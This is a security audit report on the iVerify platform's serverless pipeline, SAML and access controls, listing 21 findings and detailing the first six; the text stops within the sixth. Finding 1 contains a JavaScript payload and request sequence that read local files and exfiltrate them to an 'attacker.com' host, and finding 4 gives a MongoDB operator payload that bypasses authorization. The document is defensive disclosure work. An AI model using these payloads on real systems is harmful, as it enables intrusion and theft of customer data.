



iVerify

Security Assessment

June 4, 2026

Prepared for:

Kristopher Jones

iVerify

Prepared by: **Vasco Franco, Spencer Michaels, and Bruno Produit**

Table of Contents

Table of Contents	1
Project Summary	3
Executive Summary	4
Project Goals	8
Project Targets	9
Project Coverage	10
Summary of Findings	11
Detailed Findings	13
1. HTML injection in PDF generation enables SSRF and local file disclosure	13
2. Unauthenticated HTTP endpoints expose scan data and report generation	18
3. SQL injection vulnerability via unparameterized ClickHouse queries	21
4. NoSQL injection vulnerability in report generation endpoint allows unauthorized access to scan data	23
5. Outdated WebKit engine in wkhtmltopdf enables remote code execution	26
6. Cryptographic secrets logged in decryption helper	28
7. Hard-coded secrets and credentials in source code	30
8. Unsafe tarfile extraction enables file write via path traversal attacks	33
9. Server does not validate JWT signatures on OAuth ID tokens	37
10. Remote code execution vulnerability due to use of eval() in sysdiagnose parsing	39
11. Overprivileged Lambda IAM roles	41
12. XXE injection in server SAML processing	43
13. Archive extraction vulnerable to decompression bombs causing denial of service	45
14. SCIM admin provisioning hard codes super admin role for new users	49
15. SCIM user deprovisioning does not revoke admin principal or sessions	51
16. Inconsistent session invalidation across admin operations	54
17. Encrypted SAML assertions bypass signature validation	56
18. SAML assertion signatures are checked for presence but never cryptographically validated	58
19. SAML signature validation does not verify that signatures reference their parent elements	61
20. SAML response and assertion attributes are not validated	64
21. File validation endpoint enables S3 file enumeration oracle	68

A. Vulnerability Categories	71
B. Code Quality	73
C. Fix Review Results	74
Detailed Fix Review Results	76
D. Fix Review Status Categories	80
About Trail of Bits	81
Notices and Remarks	82

Project Summary

Contact Information

The following project manager was associated with this project:

Tara Goodwin-Ruffus, Project Manager
tara.goodwin-ruffus@trailofbits.com

The following engineering director was associated with this project:

Keith Hoodlet, Engineering Director, Application Security
keith.hoodlet@trailofbits.com

The following consultants were associated with this project:

Vasco Franco, Consultant
vasco.franco@trailofbits.com

Spencer Michaels, Consultant
spencer.michaels@trailofbits.com

Bruno Produit, Consultant
bruno.produit@trailofbits.com

Project Timeline

The significant events and milestones of the project are listed below.

Date	Event
February 2, 2026	Pre-project kickoff call
February 10, 2026	Delivery of report draft; report readout meeting
March 2, 2026	Delivery of final comprehensive report
March 27, 2026	Completion of fix review
April 3, 2026	Delivery of updated report with fix review appendix
June 4, 2026	Delivery of updated report with updated fix review

Executive Summary

Engagement Overview

iVerify engaged Trail of Bits to review the security of its homonymous product. iVerify is a mobile threat detection platform that enables organizations to identify spyware, malware, and device compromises on enrolled mobile devices. The platform processes device diagnostic data (iOS sysdiagnose archives and Android bug reports) through a serverless processing pipeline, stores analysis results across multiple databases, and provides an enterprise portal for administrators to manage devices, review scan results, and generate forensic reports. Organizations authenticate to the portal via SAML SSO or OAuth.

A team of three consultants conducted the review from February 3 to February 9, 2026, for a total of two engineer-weeks of effort. Our testing efforts focused on the processing of user artifacts in its serverless processing pipeline, SAML authentication, and the role-based access controls (RBAC) system. With full access to source code and a testing environment, we performed static and dynamic testing of the codebase, using automated and manual processes.

Observations and Impact

The review identified 21 findings: 13 high severity, five medium severity, two low severity, and one informational severity. We identified two main broad categories of concern: input validation weaknesses in the serverless processing pipeline, and authentication and authorization deficiencies in the SAML SSO implementation.

The serverless processing pipeline contains multiple injection vulnerabilities that allow authenticated users who upload device data to achieve code execution on the server. User-controlled data from uploaded archives and API parameters flows into SQL queries, MongoDB queries, HTML templates, Python `eval()` calls, and archive extraction routines without adequate validation or sanitization. An attacker who uploads a crafted archive could exploit HTML injection in PDF generation to read files from the AWS Lambda filesystem and exfiltrate them out of band (TOB-IVERIFY26-1), execute arbitrary SQL against the ClickHouse database (TOB-IVERIFY26-3), bypass authorization in MongoDB queries via NoSQL injection (TOB-IVERIFY26-4), achieve arbitrary Python code execution through `eval()` in sysdiagnose parsing (TOB-IVERIFY26-10), or write files to arbitrary paths via tar extraction due to the lack of path traversal protection (TOB-IVERIFY26-8). These risks are compounded by the use of an outdated and unmaintained WebKit engine in the PDF generation tool (TOB-IVERIFY26-5), which contains known memory corruption vulnerabilities. Additionally, the processing pipeline's HTTP endpoints lack authentication entirely (TOB-IVERIFY26-2), exposing scan data and report generation to anyone who discovers the API Gateway URL.

The SAML SSO implementation contains multiple vulnerabilities that allow authentication bypass. The signature validation logic does not reject unsigned encrypted assertions (TOB-IVERIFY26-17), does not cryptographically verify assertion-level signatures even when a signature element is present (TOB-IVERIFY26-18), and does not use `SAMLSignatureProfileValidator` to prevent XML signature wrapping (XSW) attacks (TOB-IVERIFY26-19). Beyond signatures, the implementation does not validate temporal conditions, audience restrictions, destination, issuer, or subject confirmation data (TOB-IVERIFY26-20). Also, the SAML processing code is vulnerable to XML external entity (XXE) injection (TOB-IVERIFY26-12), which was confirmed through out-of-band exfiltration during testing. An attacker who knows a target organization's tenant slug can exploit these issues to forge SAML assertions and authenticate as any user, including administrators, without a valid identity provider signature.

The RBAC and user lifecycle management systems also present risks. SCIM-provisioned administrators receive hard-coded super admin privileges regardless of their group's configured roles (TOB-IVERIFY26-14), and deprovisioning a user via SCIM does not revoke their admin principal or active sessions (TOB-IVERIFY26-15). Session invalidation is applied inconsistently across admin operations, leaving stale sessions with revoked roles active indefinitely (TOB-IVERIFY26-16).

Finally, multiple repositories contain hard-coded secrets committed to source control, including verified production GCP service account credentials, Slack bot tokens, and a Stripe live API key (TOB-IVERIFY26-7). Cryptographic key material used for decrypting device submissions is also logged to stdout and application logs (TOB-IVERIFY26-6).

On March 27, 2026 and May 27, 2026, Trail of Bits reviewed the fixes and mitigations implemented by the iVerify team for the issues identified in this report. We reviewed each fix to determine its effectiveness in resolving the associated issue.

In summary, iVerify has resolved all high-severity issues. For additional information, please see the [Fix Review Results](#) appendix.

Recommendations

Based on the findings identified during the security review, Trail of Bits recommends that iVerify take the following steps:

- **Remediate the findings disclosed in this report.** These findings should be addressed through direct fixes or broader refactoring efforts.
- **Replace the custom SAML signature validation with an established SAML library.** The current implementation omits multiple validations required by the SAML 2.0 specification. Adopting a library that handles the complete validation lifecycle, including signature verification, profile validation, temporal checks, and

audience restrictions, will address several authentication bypass vulnerabilities and reduce the risk of introducing similar issues in future development.

- **Use parameterized queries and add input validation across the serverless processing pipeline.** The codebase relies extensively on string interpolation to construct database queries, HTML templates, and dynamic function calls. Establishing a consistent pattern of parameterized queries for ClickHouse and type-validated inputs for MongoDB, combined with HTML escaping for all user-controlled data rendered in templates, will address the root cause of multiple high-severity findings.
- **Add authentication to, or remove, the serverless processing pipeline's HTTP endpoints.** The unauthenticated API Gateway endpoints expose scan data and report generation capabilities. These endpoints should either require authentication via API Gateway authorizers or be removed in favor of direct Lambda invocations from internal services.
- **Implement a secrets management solution and rotate all exposed credentials.** Production credentials committed to source control should be rotated immediately and migrated to a secrets manager. Set up pre-commit hooks and CI/CD scanning to prevent secrets from being committed in the future.

Finding Severities and Categories

The following tables provide the number of findings by severity and category.

EXPOSURE ANALYSIS

<i>Severity</i>	<i>Count</i>
High	13
Medium	5
Low	2
Informational	1
Undetermined	0

CATEGORY BREAKDOWN

<i>Category</i>	<i>Count</i>
Access Controls	5
Auditing and Logging	1
Authentication	4
Configuration	1
Data Exposure	1
Data Validation	7
Denial of Service	1

Project Goals

The engagement was scoped to provide a security assessment of iVerify. Specifically, we sought to answer the following non-exhaustive list of questions:

- Can malicious or malformed user artifacts enable code execution, cause denial of service, or provoke other unintended behavior in the serverless processing pipeline?
- Are user-uploaded files properly validated, sanitized, and sandboxed during processing to prevent exploitation?
- Is the SAML authentication implementation resistant to signature bypass, XSW, and assertion forgery attacks?
- Are there XML parsing vulnerabilities (such as to XXE or entity expansion attacks) in the SAML processing logic?
- Can users escalate their privileges or assume roles they are not authorized to hold within the RBAC system?

Project Targets

The engagement involved reviewing and testing the following targets.

iverify

Repository	https://github.com/iverify-team/iverify
Version	a7c505c248b5ba51503b0706811e45296ad821f8
Type	Kotlin
Platform	Ktor web application

iverify-portal

Repository	https://github.com/iverify-team/iverify-portal
Version	63d246f9a60009484cd6f8f615d93efb0529b781
Type	TypeScript
Platform	React web application

spyware-observatory-etl

Repository	https://github.com/iverify-team/spyware-observatory-etl
Version	7ec001ffc6db4992f8881cc5a5b92c2771d71884
Type	Python
Platform	AWS Lambda (Serverless)

Project Coverage

This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches included the following:

- Review of the serverless processing pipeline to identify vulnerabilities in file parsing, input validation, and artifact handling that could lead to code execution, information disclosure, or denial of service.
- Review of the configuration and deployment of the serverless infrastructure to identify insecure defaults, overly permissive AWS IAM policies, and misconfigurations in that could weaken the application's security posture.
- Review of the SAML authentication implementation to assess resistance to signature bypass, XSW, assertion replay, and XXE attacks.
- Review of the RBAC system to evaluate the consistency and correctness authorization checks across API endpoints and application functions, as well as of admin-facing role configuration features.

Coverage Limitations

Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. The following list outlines the coverage limitations of the engagement and indicates system elements that may warrant further review:

- Any features not mentioned in the Project Coverage section were not included in the audit scope. Our focus was only on the serverless infrastructure that processes user artifacts, the SAML authentication method, and the RBAC implementation.

Summary of Findings

The table below summarizes the findings of the review, including details on type and severity.

ID	Title	Type	Severity
1	HTML injection in PDF generation enables SSRF and local file disclosure	Data Validation	High
2	Unauthenticated HTTP endpoints expose scan data and report generation	Access Controls	High
3	SQL injection vulnerability via unparameterized ClickHouse queries	Data Validation	High
4	NoSQL injection vulnerability in report generation endpoint allows unauthorized access to scan data	Data Validation	High
5	Outdated WebKit engine in wkhtmltopdf enables remote code execution	Patching	High
6	Cryptographic secrets logged in decryption helper	Auditing and Logging	Medium
7	Hard-coded secrets and credentials in source code	Data Exposure	High
8	Unsafe tarfile extraction enables file write via path traversal attacks	Data Validation	High
9	Server does not validate JWT signatures on OAuth ID tokens	Data Validation	Informational
10	Remote code execution vulnerability due to use of eval() in sysdiagnose parsing	Data Validation	High
11	Overprivileged Lambda IAM roles	Configuration	Medium

12	XXE injection in server SAML processing	Data Validation	High
13	Archive extraction vulnerable to decompression bombs causing denial of service	Denial of Service	Medium
14	SCIM admin provisioning hard codes super admin role for new users	Access Controls	Medium
15	SCIM user deprovisioning does not revoke admin principal or sessions	Access Controls	Medium
16	Inconsistent session invalidation across admin operations	Access Controls	Low
17	Encrypted SAML assertions bypass signature validation	Authentication	High
18	SAML assertion signatures are checked for presence but never cryptographically validated	Authentication	High
19	SAML signature validation does not verify that signatures reference their parent elements	Authentication	High
20	SAML response and assertion attributes are not validated	Authentication	High
21	File validation endpoint enables S3 file enumeration oracle	Access Controls	Low

Detailed Findings

1. HTML injection in PDF generation enables SSRF and local file disclosure

Severity: High

Difficulty: Medium

Type: Data Validation

Finding ID: TOB-IVERIFY26-1

Target: `src/entry_points/report_generation/background_worker.py`

Description

The PDF report generation functionality is vulnerable to HTML injection because user-controlled data is not escaped before it is interpolated into HTML templates. This lack of escaping, combined with the system's use of `wkhtmltopdf`'s `--enable-local-file-access` flag, allows an attacker to execute server-side request forgery (SSRF) attacks against internal services and read arbitrary files from the server's filesystem.

Multiple functions interpolate user-controlled data into HTML templates without escaping it first. The `generate_report_header` function uses Python's `str.format()` to insert device metadata (figure 1.1).

```
data = {
    "device_id": scan.device_udid,
    "device_model": scan.device_android_model,
    "device_version": scan.device_android_version,
    # ...
}
template = """
    <p><strong>Device ID:</strong> {device_id}</p>
    <p><strong>Device Model:</strong> {device_model}</p>
    <p><strong>Device OS:</strong> {device_version}</p>
"""
html_filled = template.format(**data)
```

Figure 1.1: Device metadata interpolated without HTML escaping
([spyware-observatory-etl/src/entry_points/report_generation/background_worker.py#L459-L486](#))

The `generate_applications` function similarly interpolates application names (figure 1.2).

```
for application_name in ordered_applications:
```

```
html_template += f"""
    <tr class="event-container-main" style="margin-top: 30px;">
        <td class="event-text">{application_name}</td>
    </tr>
"""
```

Figure 1.2: Application names interpolated without HTML escaping
(*spyware-observatory-etl/src/entry_points/report_generation/background_worker.py#L1072-L1077*)

The following functions and fields are vulnerable to HTML injection:

Function	Vulnerable Fields	Line Numbers
generate_report_header	device_udid, device_android_model, device_ios_version, device_android_version, access_code	459-486
generate_applications	application_name	1072-1077
generate_malware_events_section	malware_family	925
generate_process_report_table	pattern_value, malware_family, severity	521-526
construct_process_array	process_name, process_path, filename, sandbox, uid	980-987

Only the generate_processes function properly escapes its output using `html.escape()` at line 1028.

The PDF generation uses `wkhtmltopdf` with the `--enable-local-file-access` flag enabled (figure 1.3).

```
options = {"enable-local-file-access": "", "margin-top": "0mm", ...}
# ...
pdfkit.from_string(html_content, "/tmp/main.pdf", configuration=config,
options=main_options)
```

Figure 1.3: The `wkhtmltopdf` tool configured with local file access enabled
(*spyware-observatory-etl/src/entry_points/report_generation/background_worker.py#L389-L408*)

This configuration allows injected JavaScript to read local files via XMLHttpRequest. While iframe-based file inclusion is blocked by WebKit's frame security policy, JavaScript-based file access bypasses this restriction. An attacker can inject a payload that reads files and exfiltrates their contents via out-of-band HTTP requests. Figure 1.4 shows an example of such a payload.

```
<script>
var x = new XMLHttpRequest();
x.open("GET", "file:///etc/passwd", false);
x.send();
new Image().src = "http://attacker.com/exfil?d=" + btoa(x.responseText);
</script>
```

Figure 1.4: JavaScript payload that reads local files and exfiltrates them out of band

The out-of-band exfiltration technique works even when wkhtmltopdf encounters errors and the PDF generation fails. The HTTP requests are made during rendering, before any error condition terminates the process.

An attacker can also attempt to conduct SSRF attacks via iframe tags to internal services such as the AWS metadata endpoint at `http://169.254.169.254/`. The attacker could see the server's response in the generated PDF.

The attack surface for injecting malicious data includes the normal device scan upload flow, where an attacker controlling a scanned device can install applications with malicious names that contain HTML or JavaScript payloads.

Exploit Scenario

An attacker with an enrolled enterprise device uploads a malicious JSON file containing JavaScript payloads in the application name fields. The attacker (or any other user) then requests a PDF report, triggering the vulnerability and exfiltrating sensitive configuration files containing API keys and webhook URLs from the Lambda environment.

Step 1: Request a presigned upload URL. The attacker sends a request with the mobile app User-Agent to obtain an AWS S3 presigned URL for uploading an "Apps" scan (figure 1.5).

```
POST /forensic-scan/generate-upload-url HTTP/2
Host: acceptance.iverify.io
Content-Type: application/json
User-Agent: io.iverify.acceptance.enterprise

{
  "deviceIdentifier": "955EF411-C44F-4CC1-8CB7-5FA93ECD5785",
  "fileName": "exploit_apps.json",
  "scanTimestamp": "2024-01-15T10:30:00Z",
  "iOSVersion": "17.1.1",
```

```

    "commandName": "Apps",
    "scanId": "exploit-scan-001"
  }

```

Figure 1.5: Request to obtain a presigned upload URL for an enterprise device

The server returns a presigned S3 URL and the required metadata headers.

Step 2: Upload the malicious JSON payload. The attacker uploads a JSON file containing applications with JavaScript injection payloads in the name field. The payload reads local files and exfiltrates them to an attacker-controlled server using the Image object to trigger an HTTP request (figure 1.6).

```

PUT
/668/ios/955EF411-C44F-4CC1-8CB7-5FA93ECD5785/exploit-scan-001/exploit_apps.json?<pr
esigned_params> HTTP/2
Host: iv-enterprise-acceptance.s3-accelerate.amazonaws.com
x-amz-meta-scanned_device_model: iPhone16%2C2
x-amz-meta-device_iOS_version: 17.1.1
x-amz-meta-scan_id: exploit-scan-001
x-amz-meta-scan_timestamp: 2024-01-15T10%3A30%3A00Z
x-amz-meta-command: Apps
Content-Type: application/json

{
  "metadata": {
    "scanId": "exploit-scan-001",
    "scanTimestamp": "2024-01-15T10:30:00Z",
    "scanCommand": "Apps",
    "deviceUdid": "955EF411-C44F-4CC1-8CB7-5FA93ECD5785",
    "iosVersion": "17.1.1",
    "iosModel": "iPhone16,2"
  },
  "data": [
    {
      "name": "<script>try{var x=new
XMLHttpRequest();x.open('GET','file:///var/task/config.prod.json',false);x.send();ne
w
Image().src='http://attacker.com/config?d='+btoa(unescape(encodeURIComponent(x.respo
nseText.substring(0,1500)))));}catch(e){new
Image().src='http://attacker.com/err?e='+encodeURIComponent(e);}</script>",
      "bundleIdentifier": "com.exploit.oob",
      "bundleName": "OOB-Exfil",
      "path": "/exploit/oob.app"
    }
  ]
}

```

Figure 1.6: Malicious JSON payload with out-of-band exfiltration in application names

The lambda automatically processes the uploaded file and stores the application data, including the malicious names, in the app_list MongoDB collection without sanitizing it.

Step 3: Request the PDF report. The attacker, or any other user authenticated as an enterprise portal user, requests the PDF report for the malicious scan (figure 1.7).

```
POST /alerts/report HTTP/2
Host: acceptance.iverify.io
Content-Type: application/json
Cookie: IvySessionV2=<session_cookie>

{
  "scanId": "exploit-scan-001",
  "isThreatHunter": false
}
```

Figure 1.7: Request to generate a PDF report for the scan

During PDF generation, `wkhtmltopdf` renders the HTML containing the unescaped application names, which executes the injected JavaScript. The `XMLHttpRequest` reads the configuration file from the Lambda filesystem, and the `Image` object sends the Base64-encoded contents to the attacker's server. When the contents are decoded, file contents including source code, API keys, and Slack webhook URLs are revealed.

Recommendations

Short term, implement HTML-escaping of all user-controlled data before it is interpolated into HTML templates. This will prevent injection attacks in which attackers can manipulate the contents of the PDF document. Additionally, remove the `--enable-local-file-access` flag from the `wkhtmltopdf` configuration if at all possible.

Long term, migrate to a more secure PDF generation approach, such as Puppeteer/Playwright with Chromium in headless mode with appropriate sandboxing. Additionally, consider implementing a Content Security Policy in the generated HTML to restrict script execution and resource loading. This defense-in-depth approach will ensure that even if HTML escaping is bypassed, the impact of injection attacks is limited.

2. Unauthenticated HTTP endpoints expose scan data and report generation

Severity: **High**

Difficulty: **High**

Type: Access Controls

Finding ID: TOB-IVERIFY26-2

Target:

spyware-observatory-etl/src/entry_points/api_handler/handler.py,
spyware-observatory-etl/src/entry_points/report_generation/handler.py,
spyware-observatory-etl/function-definitions.yml

Description

The spyware-observatory-etl service exposes two HTTP endpoints via Amazon API Gateway without any authentication or authorization controls. Both endpoints are configured using the serverless framework's `httpApi` event type, which deploys an HTTP API Gateway with no default authentication mechanism (figure 2.1).

```
api:
  handler: src/entry_points/api_handler/handler.execute
  timeout: 29
  reservedConcurrency: ${self:custom.functionConcurrency...}
  events:
    - httpApi:
        method: GET
        path: /api
  layers:
    - { Ref: PythonRequirementsLambdaLayer }

reportGeneration:
  handler: src/entry_points/report_generation/handler.execute
  memorySize: 2048
  timeout: 20
  reservedConcurrency: ${self:custom.functionConcurrency...}
  events:
    - httpApi:
        method: POST
        path: /generate_report
  layers:
    - { Ref: PythonRequirementsLambdaLayer }
```

*Figure 2.1: HTTP API endpoints configured without authentication
(spyware-observatory-etl/function-definitions.yml#L55-L76)*

The `/api` endpoint returns scan statistics and metadata from MongoDB, while the `/generate_report` endpoint triggers PDF report generation for any scan. The report generation endpoint accepts `scanId` and `orgId` parameters in the request body but does

not validate that the requester has permission to access the specified organization's data (figure 2.2).

```
def execute(event, _):
    body = json.loads(event.get("body", "{}"))
    scan_id = body.get("scanId", None)
    org_id = body.get("orgId", None)

    # TODO: Need to support for ivp-inbox and enterprise inbox bucket

    db = MongoConnector().get_mongo_db()
    scan_data = db.scan_device_metadata.find_one({"_id": scan_id, "organization_id":
org_id})
```

Figure 2.2: Report generation handler accepts arbitrary scan and organization IDs without authorization.

([spyware-observatory-etl/src/entry_points/report_generation/handler.py#L19-L27](#))

The endpoints are accessible at URLs following the AWS API Gateway naming convention:

- <https://<api-id>.execute-api.<region>.amazonaws.com/api>
- https://<api-id>.execute-api.<region>.amazonaws.com/generate_report

The <api-id> is a 10-character alphanumeric identifier generated at deployment time. While this identifier is not trivially discoverable by external attackers without prior access to internal systems, it is not treated as a secret by AWS and should not be relied upon for security.

Exploit Scenario

An attacker who discovers the API Gateway URL through reconnaissance, leaked logs, or insider access queries the /api endpoint to enumerate scan metadata stored in the system. Using the obtained scan identifiers and organization IDs, the attacker then sends POST requests to /generate_report to trigger report generation for arbitrary organizations' scans. The attacker gains access to device diagnostic information from scans belonging to other organizations. Additionally, the attacker could repeatedly issue report-generation requests to consume Lambda execution time and S3 storage, potentially degrading service performance and incurring costs.

Recommendations

Short term, implement authentication on both HTTP endpoints using Amazon API Gateway authorizers to validate that requests originate from authenticated clients (likely only from the iVerify API). This will prevent unauthorized access to the endpoints.

Long term, remove both HTTP endpoints. The `/api` endpoint appears to be used only for testing. The `/generate_report` endpoint should be triggered only by internal services, which can invoke the Lambda function directly using the AWS SDK rather than via HTTP. This will eliminate unnecessary attack surface.

3. SQL injection vulnerability via unparameterized ClickHouse queries

Severity: **High**

Difficulty: **Medium**

Type: Data Validation

Finding ID: TOB-IVERIFY26-3

Target: `src/database_layer/clickhouse/clickhouse_service.py`,
`src/database_layer/clickhouse/vt_analysis_results_service.py`,
`src/database_layer/clickhouse/mb_analysis_results_service.py`,
`src/helpers/whitelist_uuids_helper.py`

Description

The `spyware-observatory-etl` service constructs ClickHouse database queries using Python f-string interpolation without parameterization. Attacker-controlled data from S3 file uploads and API endpoints flows directly into SQL queries, enabling SQL injection attacks.

Most Lambda functions are triggered by `s3:ObjectCreated:*` events. Attackers control the contents of uploaded files (such as `sysdiagnose` archives or bug reports), which are then parsed and passed directly into database queries.

The code snippet in figure 3.1 demonstrates the vulnerable pattern used throughout the codebase.

```
def clickhouse_get_processed_model_and_version_by_scan_id(
    self, scan_id: str, limit: int = 1
) -> list[dict]:
    query = f"""
        SELECT *
        FROM {self.table_name}
        WHERE SCAN_ID = '{scan_id}'
        ORDER BY INGESTION_TIMESTAMP DESC
        LIMIT {limit}
    """
    return self.clickhouse_client.query(query).result_rows
```

Figure 3.1: Vulnerable query construction using f-string interpolation
(`spyware-observatory-etl/src/database_layer/clickhouse/clickhouse_service.py#L1103-L1108`)

This pattern appears in over 20 functions across the database layer, including the following:

- `clickhouse_insert_or_update_device_events()` at `lines 1007-1010`

- `clickhouse_get_processed_model_and_version_by_id()` at [lines 1070–1075](#)
- `get_stateful_alerts_for_device()` at [lines 1822–1826](#)
- `get_alert_org_policies()` at [lines 1953–1958](#)
- `get_record_from_file_list_by_path()` at [lines 2221–2226](#), which uses a LIKE clause

Additionally, the `/generate_report` API endpoint accepts `scanId` and `orgId` parameters from request bodies, which are also interpolated into queries without sanitization.

Exploit Scenario

An attacker uploads a malicious Android package diff JSON file to an S3 bucket monitored by the `spyware-observatory-etl` service. The JSON file contains a crafted `binaryHash` value within a package entry. When the Lambda function processes this file, the `AndroidPackageDiffParser` extracts the hash and passes it to the `VirusTotal` or `MalwareBazaar` lookup functions. The malicious hash value flows through the processing pipeline until it reaches `get_virus_total_analysis_results()` or `get_mb_analysis_results()`, where it is directly interpolated into a ClickHouse SQL query without sanitization. An attacker uses a blind SQL injection payload to modify data using injected `INSERT` or `ALTER` statements, delete records, or exfiltrate data through time-based techniques.

Recommendations

Short term, refactor all ClickHouse query functions to use parameterized queries instead of f-string interpolation. The ClickHouse Python client supports parameterized queries via the `parameters` argument to the `query()` method, allowing values to be safely bound without string interpolation. This will prevent attackers from breaking out of string literals and injecting arbitrary SQL.

Long term, integrate code scanning rules in the project's CI/CD pipeline that detect and report direct string interpolation in SQL queries.

4. NoSQL injection vulnerability in report generation endpoint allows unauthorized access to scan data

Severity: High

Difficulty: Medium

Type: Data Validation

Finding ID: TOB-IVERIFY26-4

Target: `src/entry_points/report_generation/handler.py`,
`src/entry_points/report_generation/background_worker.py`

Description

The report generation endpoint is vulnerable to NoSQL injection, allowing an attacker to bypass authorization checks and access scan reports from any organization. The vulnerability exists because user-supplied JSON input is passed directly to MongoDB query filters without type validation.

The `spyware-observatory-etl` service exposes a `/generate_report` endpoint via the Amazon API Gateway HTTP API. This endpoint lacks authentication, meaning any party that discovers the URL can invoke it directly (see [TOB-IVERIFY26-2](#)).

When a request is made directly to the `/generate_report` endpoint, the handler parses the JSON body and extracts the `scanId` and `orgId` parameters. These values are then used directly in a MongoDB `find_one` query to retrieve scan metadata (figure 4.1).

```
def execute(event, _):
    body = json.loads(event.get("body", "{}"))
    scan_id = body.get("scanId", None)
    org_id = body.get("orgId", None)

    # TODO: Need to support for ivp-inbox and enterprise inbox bucket

    db = MongoConnector().get_mongo_db()
    scan_data = db.scan_device_metadata.find_one({"_id": scan_id, "organization_id":
org_id})
```

Figure 4.1: Vulnerable query construction in report generation handler
([spyware-observatory-etl/src/entry_points/report_generation/handler.py#L19-L27](#))

The same pattern is present in the background worker (figure 4.2).

```
def execute(event, _):
    body = json.loads(event.get("body", "{}"))
    scan_id = body.get("scanId", None)
```

```
org_id = body.get("orgId", None)

db = MongoConnector().get_mongo_db()
scan_data = db.scan_device_metadata.find_one({"_id": scan_id, "organization_id":
org_id})
```

Figure 4.2: Same vulnerable pattern in background worker
(*spyware-observatory-etl/src/entry_points/report_generation/background_worker.py#L30-L36*)

The vulnerability arises because `json.loads()` preserves the type of JSON values. When an attacker submits a JSON object instead of a string for `scanId` or `orgId`, PyMongo interprets the object as a MongoDB query operator. For example, submitting `{"scanId": {"$ne": ""}, "orgId": {"$ne": ""}}` causes the query to match any document where these fields are not empty, effectively bypassing the intended authorization check.

The iVerify API server proxies report requests to the `/generate_report` endpoint through its `/alerts/report` endpoint, which validates the `scanId` against PostgreSQL before forwarding the request to the `spyware-observatory-etl` service. As a result, this proxy endpoint is not vulnerable to the injection.

The generated PDF reports contain device forensic data, including device identifiers, installed applications, running processes, and malware detection findings. Unauthorized access to this data represents a breach of customer data across organizational boundaries.

Exploit Scenario

An attacker discovers the `spyware-observatory-etl` API Gateway URL by leaking server logs, reading the `REPORT_GEN_URL` environment variable, or leaking its value through error messages. The attacker sends a POST request directly to the `spyware-observatory-etl`'s `/generate_report` endpoint with MongoDB operators instead of valid identifiers: `{"scanId": {"$ne": ""}, "orgId": {"$ne": ""}}`. Because the endpoint lacks authentication, the request is processed. The server parses this JSON and constructs a MongoDB query that matches any document where `_id` and `organization_id` are not empty. MongoDB returns the first matching document from any organization, and the server generates a PDF report containing that organization's device scan data. The attacker receives a presigned URL to download the report, gaining access to device identifiers, iOS/Android versions, installed applications, running processes, and malware findings belonging to a victim organization. The attacker can further refine the attack using `$regex` operators to enumerate and target specific organizations.

Recommendations

Short term, add validation to check that `scanId` and `orgId` are strings before they are used in MongoDB queries and to reject requests where these parameters are not string types. This will ensure that MongoDB operators can only be passed as dictionary objects and that query parameters cannot contain operators, preventing the injection attack.

Long term, add authentication to the spyware-observatory-etl API Gateway endpoints. The /generate_report and /api endpoints should not be publicly accessible. Configure an **API Gateway authorizer** or require API keys to prevent unauthorized direct access. Alternatively, remove both HTTP endpoints altogether (see **TOB-IVERIFY26-2**). Additionally, implement a centralized input validation layer for all API endpoints that enforces type constraints on request parameters before they reach database queries. Consider using a schema validation library such as Pydantic to define and enforce expected input types across all endpoints. This will prevent similar injection vulnerabilities from being introduced elsewhere in the codebase.

5. Outdated WebKit engine in wkhtmltopdf enables remote code execution

Severity: **High**

Difficulty: **Medium**

Type: Patching

Finding ID: TOB-IVERIFY26-5

Target: `src/entry_points/report_generation/background_worker.py`

Description

The PDF report generation functionality uses `wkhtmltopdf`, which embeds an outdated and unmaintained WebKit rendering engine from 2011. The version in use is WebKit 534.34, as confirmed by exfiltrating the user agent string during testing (figure 5.1).

```
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf  
Safari/534.34
```

Figure 5.1: User agent string exfiltrated from the `wkhtmltopdf` instance, showing the use of WebKit 534.34 from 2011

WebKit 534.34 was released in 2011 and contains hundreds of known security vulnerabilities that have been patched in modern browsers. The `wkhtmltopdf` project explicitly warns against using it with untrusted input due to security concerns.

The use of `wkhtmltopdf` combined with the HTML injection vulnerability documented in finding [TOB-IVERIFY26-1](#) can allow an attacker to craft malicious HTML payloads that exploit memory corruption vulnerabilities in the outdated WebKit engine to achieve remote code execution on the Lambda infrastructure.

Exploit Scenario

An attacker exploits the HTML injection vulnerability to inject a malicious HTML payload containing JavaScript that triggers a memory corruption vulnerability in the outdated WebKit engine. The payload is carefully crafted to achieve arbitrary code execution within the Lambda function's execution environment. From this position, the attacker can access AWS credentials from the Lambda execution role via the metadata service or environment variables, read and exfiltrate application source code and configuration files, pivot to other AWS services accessible from the Lambda's IAM role, and access customer data.

Recommendations

Short term, migrate to a more secure PDF generation approach, such as Puppeteer/Playwright with Chromium in headless mode and appropriate sandboxing. Additionally, consider implementing a Content Security Policy in the generated HTML to

restrict script execution and resource loading. This defense-in-depth approach will ensure that even if HTML escaping is bypassed, the impact of injection attacks is limited.

Long term, ensure the chosen solution is updated frequently to prevent 1-day exploits against the rendering system. Ensure sandboxing is enforced.

References

- [wkhtmltopdf: Status and Security Warning](#)

6. Cryptographic secrets logged in decryption helper

Severity: **Medium**

Difficulty: **High**

Type: Auditing and Logging

Finding ID: TOB-IVERIFY26-6

Target: spyware-observatory-etl/src/helpers/decryption_helper.py

Description

The `decryption_helper.py` module logs sensitive cryptographic material to stdout and the application logger. Specifically, the ECDH shared secret and the derived AES-256 symmetric key are printed in hexadecimal format during decryption (figures 6.1 to 6.3).

```
def derive_ecdh_shared_secret(
    device_public_key_bytes: int,
    file_name: str
):
    # ...
    shared_secret = derive_shared_secret_response.get("SharedSecret")

    print(f"\nShared secret hex: {shared_secret.hex()}\n")
    return shared_secret
```

Figure 6.1: ECDH shared secret printed to stdout

(*spyware-observatory-etl/src/helpers/decryption_helper.py#L91-L100*)

```
def derive_ecdh_shared_secret_on_prem(
    device_public_key_bytes: bytes,
    file_name: str
):
    # ...
    shared_secret = server_private_key.exchange(ec.ECDH(), device_public_key)

    ETLLogger().log(f"[decryption_helper] [derive_ecdh_shared_secret_on_prem] Shared secret hex: {shared_secret.hex()}", ETLLogger.LOG_LEVEL_INFO)

    return shared_secret
```

Figure 6.2: ECDH shared secret logged via ETLLogger at INFO level

(*spyware-observatory-etl/src/helpers/decryption_helper.py#L128-L132*)

```
def derive_aes_256_symmetric_key(
    hkdf_nonce_bytes: bytes,
    shared_ecdh_secret: bytes,
    file_name: str
):
```

```
# ...
